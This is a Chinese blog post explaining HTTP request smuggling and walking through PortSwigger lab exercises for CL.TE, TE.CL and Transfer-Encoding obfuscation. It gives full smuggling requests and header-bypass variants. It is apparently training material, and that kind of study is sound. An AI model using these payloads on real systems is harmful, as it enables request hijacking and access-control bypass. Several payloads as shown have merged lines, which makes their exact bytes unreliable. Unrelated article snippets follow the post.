HTTP 请求走私漏洞

漏洞介绍

http请求走私漏洞,一句话概括就是像走私饭一样,在一个http请求包中携带着另一个请求包或者是多个。在前端看来这是一个请求包很正常的请求包,但是如果来到了后端处理,就会被解析成多个请求包。最终就会导致没有授权而访问到敏感的信息或者攻击用户

http协议(超文本传输协议),此服务是用于服务器传输超文本到本地浏览器的一个传送协议。

http协议是基于tcp/ip通信协议进行传送数据

从HTTP/1.1开始,就支持通过单个请求包或者发送多个http请求,服务器解析标头以计算每个结束的位置以及下一个开始的位置

Keep-alive概念

为什么会这样的功能呢?

因为http是在tcp连接上运行的,存在三次握手,所以http也继承了tcp的特点,就是慢,消耗一定的资源。为了解决这一问题,就引用了长连接的概念,有效的解决了多次建立连接信息的情况。

主要是通过Keep-alive 头部实现,客户端使用Keep-alive在请求包中,是告诉服务器在发送完数据之前不断开tcp的连接。

那么传送完成,服务器是怎么判断的呢,如果无法判断那tcp连接一直连着不是更消耗资源?

Content-Length概念

CL实体标头字段发送给后端的实体的大小,通过判断CL的长度相等,服务器就会知道这个时候可以断开连接了,如果CL和实体的实际长度不一样会造成内容的截断。如果比实体的内容长,会为缺少的内容进行自动填充,看似完美了,但是服务器为了计算信息的内容,会将所有内容缓存下来,并没有解决web应用的优化

Transfer-Encoding: chunked 分块编码

为了解决web的优化,又引进了一个新的请求头Transfer-Encoding: chunked 也就是分块编码,加入请求头之后,报文会使用分块的形式进行传输内容,不需要再缓存所有实例的内容,只需要缓存分块即可,分块的要求,每块必须包含16进制的长度和数据,长度值独立占据一行,不包括CRLF(\r\n),也不包括结尾的CRLF,当分块的长度为0,且没有数据了,连接结束。

漏洞成因

现在的很多网站为了提高用户的使用体验,访问速度加快,减少服务器的资源消耗。都会使用代理服务器,也就是CDN加速服务。其原理就是网站前面加入具有缓存功能的反向代理,每当用户请求网站时,网站的静态资源就可以在代理服务器中直接获取到,不会从网站中获取,反向代理和后端服务器之间,会重用TCP连接,因为不同的用户请求将通过代理服务器与后端服务器进行连接。不过由于二者实现的方法不同,如果用户提交了模糊的请求包,代理服务器可能就会认为是一个http请求,但是转发给后端服务器,后端服务器经过解析处理后,就只会认为其中一部分请求,剩下的另外一部分就是走私的请求。最终的原因其实就是http规范提供了两种不同方式来指定请求的结束位置,分别是Content-Length和Transfer-Encoding

PortSwigger实验

实验开始前注意,HTTP2是杜绝http走私攻击的,但是如果后端服务器支持http1.1,那我们就可以篡改前端服务器使用http/1.1

在这里插入图片描述

实验一 CL.TE漏洞

https://0a4800d903b3090d808e3a85002c0017.web-security-academy.net/

前端的服务器使用的是Content-Length,而后端服务器使用的是Transfer-Encoding

POST / HTTP/1.1
Host: 0a4800d903b3090d808e3a85002c0017.web-security-academy.net
Cookie: session=S5U1Z5rd0NTrLT16sf94eadKXYSfbcMl
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 35
Transfer-Encoding: chunked0GET /404 HTTP/1.1
X-Ignore: X

我们要注意一下Content-Length的长度

在这里插入图片描述

它是从0开始算,\r\n算两个字符,所以最终的大小为35,并且要注意的就是CL的长度数值只能小不能大,如果超过了35就无法走私了

我们看看造成的后果是什么,再发送一次请求

在这里插入图片描述

所以很明显了,CL.TE漏洞可以让用户访问到我们所控制的页面

GET /404 HTTP/1.1
X-Ignore: XPOST / HTTP/1.1
Host: xxxx.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11xxxx

过程解析:

前端服务器处理CLheader,确定了请求内容的长度为35字节,直到X-Ignore: X停止
该请求到后端服务器的时候,后端服务器处理TEheader,因此消息正文被视为分块编码,
但是我们并没有传入消息正文,所以它在处理第一个块的时候,因为声明为0长度,因此视为终止
了请求,以下的GET /404为被处理,后端服务器会将这些字节视为下一个请求的开始
注意0的位置下面必须要有CRLF,这是规范,不然就无法走私

实验二 TE.CL漏洞

https://0a0e008504a7485e8359aa09006100b7.web-security-academy.net/

此漏洞基于后端服务器不支持分块编码。前端服务器拒绝不使用GET或POST方法的请求

POST / HTTP/1.1
Host: 0afe0075047833e280ac9e1f00f5006c.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15x=1
0

在这里插入图片描述

在这里插入图片描述

过程分析:

前端服务器处理了TEheader,因此下面的消息正文视为以分块编码。处理第一个块的时候,这个块的
长度为5c个字节,也就是从G开始到x=1\r\n结束,注意x=1上一行不算在内。处理第二个块的时候,
因为长度为0,所以终止请求。
来到后端服务器处理CLheader,确定了正文的长度为4个字节,也就是5c\r\n,下面的GPOST开始
往后的字节未处理,后端服务器就会将这些字节视为下一个请求的开始

我们需要注意的是,5c怎么得来的,其实也就是从GPOST开始到x=1\r\n结束,并且x=1的上一行不算进去长度,因为它是一个标识的意思,表示上面是header头,下面是消息的正文

还有就是走私的请求的CLheader的长度也需要注意,如果长度太小一定是走私不了的

在这里插入图片描述

这个范围的内容长度是10个字符,如果我们将CL设置为10,那就走私不了了,必须要加1,也就是11或者再往上大一点

实验三 TE过滤绕过

有的时候,前后端可能会对Transfer-Encoding进行过滤,那我们就需要去绕过它

绕过方法:

Transfer-Encoding: xchunkedTransfer-Encoding : chunkedTransfer-Encoding: chunked
Transfer-Encoding: xTransfer-Encoding:[tab]chunked[space]Transfer-Encoding: chunkedX: X[\n]Transfer-Encoding: chunkedTransfer-Encoding
: chunked
POST / HTTP/1.1
Host: 0a5b002d03b78760817170040057007d.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15x=1
0

在这里插入图片描述

我们需要注意的是,Content-Type这个关键字一定需要带,不然就会请求超时退出

在这里插入图片描述

总结

我们总结一下,在做实验的时候遇到的问题
当前端是使用CL处理请求包的时候,CL的长度与正文的长度可以一致,也可以减,但是不能超过正文的长度
当后端是使用CL处理请求包的时候,CL的长度与正文的长度不能一致,需要加1,不能减

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/8807.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

学习Uni-app开发小程序Day3

经过五一长假,回过头在去看学习的东西,发现仍然是一筹莫展的,看来,学习是不能松懈的,得,自己在把以前的从头复习一遍,加深印象。今天在继续听课,但是出现一个问题,是黑码…

力扣-21. 合并两个有序链表-js实现

/*** Definition for singly-linked list.* function ListNode(val, next) {* this.val (valundefined ? 0 : val)* this.next (nextundefined ? null : next)* }*/ /*** param {ListNode} list1* param {ListNode} list2* return {ListNode}*/ const mergeTwoList…

关于zabbix简介及zabbix服务端的部署

文章目录 一、zabbix概念1、zabbix简介2、zabbix主要特点3、zabbix运行机制4、zabbix应用场景5、zabbix监控原理6、zabbix的子程序7、zabbix监控的架构模式7.1 server-client架构7.2 server-proxy-client架构7.3 master-node-client 二、部署zabbix1、服务器配置2、服务器环境3…

CSS伪类选择器

目录 前言: 链接伪类: 用户行为伪类: 元素状态伪类: 结构化伪类: 否定伪类: 目标伪类: 输入伪类: 前言: 在CSS中有一种特殊的选择器:伪类选择器&…

深入分析网络智能摄像头的RTSP协议安全风险

本文为转载,原作者:山石网科安全技术研究院 网络摄像头作为现代安防体系的关键组成部分,已经广泛应用于各类场所,包括交通枢纽、教育机构、企业办公区、零售商场等公共和私人领域。它们主要负责提供实时视频监控,以加…

自己的服务器部署了Excalidraw,你确定不试试?

Excalidraw是一款开源的虚拟手绘风格白板工具,专为快速创作草图、流程图、示意图等设计。它的特色在于提供了一种类似手绘的视觉效果,使得制作的图表看起来更加自然和非正式,适合创意讨论、头脑风暴以及远程协作场景。Excalidraw强调易用性和…

93、动态规划-最长回文子串

思路 首先从暴力递归开始,回文首尾指针相向运动肯定想等。就是回文,代码如下: public String longestPalindrome(String s) {if (s null || s.length() 0) {return "";}return longestPalindromeHelper(s, 0, s.length() - 1);…

量化教程3---miniqmt当作第三方库设置,提供源代码

qmt提供了大qmt和miniqmt,大qmt在平台使用,miniqmt提供了交易的api和数据可以本地使用,非常的方便,合适自己开发大型的策略,本地还可以访问其他数据,网络等,也支持服务器 以前的教程 qmt教程1…

内网安全【2】——域防火墙/入站出站规则/不出网隧道上线/组策略对象同步

-隧道技术:解决不出网协议上线的问题(利用出网协议进行封装出网)(网络里面有网络防护,防火墙设置让你不能正常访问网络 但有些又能正常访问,利用不同的协议tcp udp 以及连接的方向:正向、反向) -代理技术&…

uni-app 多列picker切换列显示对应内容

html部分&#xff1a; <view class"uni-list"><view class"uni-list-cell"><view class"uni-list-cell-left">选择用户</view><view class"uni-list-cell-db"><picker mode"multiSelector"…

【密评】 | 商用密码应用安全性评估从业人员考核题库(5/58)

我国金融信息系统、第二代居民身份证管理系统、国家电力信息系统、社会保障信息系统、全国中小学学籍管理系统中&#xff0c;都应用&#xff08;&#xff09;技术构建了密码保障体系。 A. 核心密码 B. 普通密码 C. 商用密码 D. 核心密码和普通密码 商用密码从业单位开展商用密…

【VUE】el-descriptions 描述列表

Descriptions 描述列表 列表形式展示多个字段。 <el-descriptions title"用户信息"><el-descriptions-item label"用户名">kooriookami</el-descriptions-item><el-descriptions-item label"手机号">18100000000</e…

学习3:scrapy请求对象、模拟登录、POST请求、管道的使用、crawlspider爬虫类

请求对象 请求对象参数 scrapy.Request(url[],callback,method"GET",headers,body,cookies,meta,dont_filterFalse)callback 表示当前的url响应交给那个函数去处理method 指定请求方式headers 接受一个字典&#xff0c;其中不包括cookiesbody 接收json字符串&#…

uniapp读取项目本地文件/json文件/txt文件

uniapp读取项目本地文件/json文件/txt文件 文件必须放在static目录下 方法&#xff1a; /*** 访问static里面的文件* param url 文件路径 必须在static目录下*/ function localFetch(url) {return new Promise((resolve, reject) > {plus.io.resolveLocalFileSystemURL(_ww…

阿里云VOD视频点播流程(2)

二、视频点播 1、入门代码 基于OSS原生SDK上传 &#xff0c;参考文档&#xff1a;https://help.aliyun.com/zh/vod/user-guide/upload-media-files-by-using-oss-sdks?spma2c4g.11186623.0.0.1f02273fj4lxNJ 视频点播面向开发者提供了丰富的上传方式&#xff0c;其中上传SDK&…

从零开始的软件测试学习之旅(八)jmeter线程组参数化及函数学习

jmeter线程组参数化及函数学习 Jmeter基础基本使用流程组件与元件 线程组线程的执行方式Jmeter组件执行顺序 常见属性设置查看结果数的作用域举例 Jmeter参数化实现方式1.用户定义参数2.用户参数3.函数4.csv数据文件设置 每日复习 Jmeter基础 基本使用流程 启动项目案例 启动…

DUX 主题 版本:8.2 WordPress主题优化版

主题下载地址&#xff1a;DUX 主题优化版.zip 支持夜间模式、快讯、专题、百度收录、人机验证、多级分类筛选&#xff0c;适用于垂直站点、科技博客、个人站&#xff0c;扁平化设计、简洁白色、超多功能配置、会员中心、直达链接、自动缩略图

添砖Java之路其三——自增自减运算符,数据转换与原码反码补码。

目录 运算符&#xff1a; 转换&#xff1a; 隐式转换&#xff1a; 小范围数据可以直接可以给大范围数据&#xff1a; 这里做了一张图范围向下兼容表​编辑 运算时&#xff0c;数据范围小的和数据范围大的&#xff0c;需要讲运算范围小的提升为运算范围大的同类&#xff0c…

全球AI新闻速递

&#x1f4e2;&#x1f4e2;&#x1f4e2;&#x1f4e3;&#x1f4e3;&#x1f4e3; 哈喽&#xff01;大家好&#xff0c;我是「奇点」&#xff0c;江湖人称 singularity。刚工作几年&#xff0c;想和大家一同进步&#x1f91d;&#x1f91d; 一位上进心十足的【Java ToB端大厂…

C/C++开发,opencv-features2d模块,SIFT等特征检测器应用

目录 一、OpenCV-features2d 模块简介 1.1 features2d 模块信息 1.2 features2d 模块应用流程 二、features2d 模块编码案例 2.1 实现逻辑 2.2 features2d 模块应用程序代码 2.3 程序编译及运行 一、OpenCV-features2d 模块简介 1.1 features2d 模块信息 features2d 是…